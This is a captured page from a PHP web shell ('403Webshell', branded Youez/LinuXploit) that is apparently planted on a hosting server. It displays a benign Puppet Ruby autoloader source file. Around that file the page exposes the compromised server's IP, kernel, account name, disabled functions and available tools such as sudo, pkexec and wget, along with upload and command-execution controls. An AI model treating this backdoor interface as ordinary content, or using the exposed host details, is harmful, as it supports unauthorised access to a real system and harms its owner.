403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/puppet/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/puppet/util/instance_loader.rb
require 'puppet/util/autoload'
require 'puppet/util'

# A module that can easily autoload things for us.  Uses an instance
# of Puppet::Util::Autoload
module Puppet::Util::InstanceLoader
  include Puppet::Util

  # Are we instance-loading this type?
  def instance_loading?(type)
    defined?(@autoloaders) and @autoloaders.include?(type.intern)
  end

  # Define a new type of autoloading.
  def instance_load(type, path, options = {})
    @autoloaders ||= {}
    @instances ||= {}
    type = type.intern
    @instances[type] = {}
    @autoloaders[type] = Puppet::Util::Autoload.new(self, path, options)

    # Now define our new simple methods
    unless respond_to?(type)
      meta_def(type) do |name|
        loaded_instance(type, name)
      end
    end
  end

  # Return a list of the names of all instances
  def loaded_instances(type)
    @instances[type].keys
  end

  # Collect the docs for all of our instances.
  def instance_docs(type)
    docs = ""

    # Load all instances.
    instance_loader(type).loadall

    # Use this method so they all get loaded
    loaded_instances(type).sort { |a,b| a.to_s <=> b.to_s }.each do |name|
      mod = self.loaded_instance(name)
      docs << "#{name}\n#{"-" * name.to_s.length}\n"

      docs << Puppet::Util::Docs.scrub(mod.doc) << "\n\n"
    end

    docs
  end

  # Return the instance hash for our type.
  def instance_hash(type)
    @instances[type.intern]
  end

  # Return the Autoload object for a given type.
  def instance_loader(type)
    @autoloaders[type.intern]
  end

  # Retrieve an alread-loaded instance, or attempt to load our instance.
  def loaded_instance(type, name)
    name = name.intern
    return nil unless instances = instance_hash(type)
    unless instances.include? name
      if instance_loader(type).load(name)
        unless instances.include? name
          Puppet.warning(
            "Loaded #{type} file for #{name} but #{type} was not defined"
          )
          return nil
        end
      else
        return nil
      end
    end
    instances[name]
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit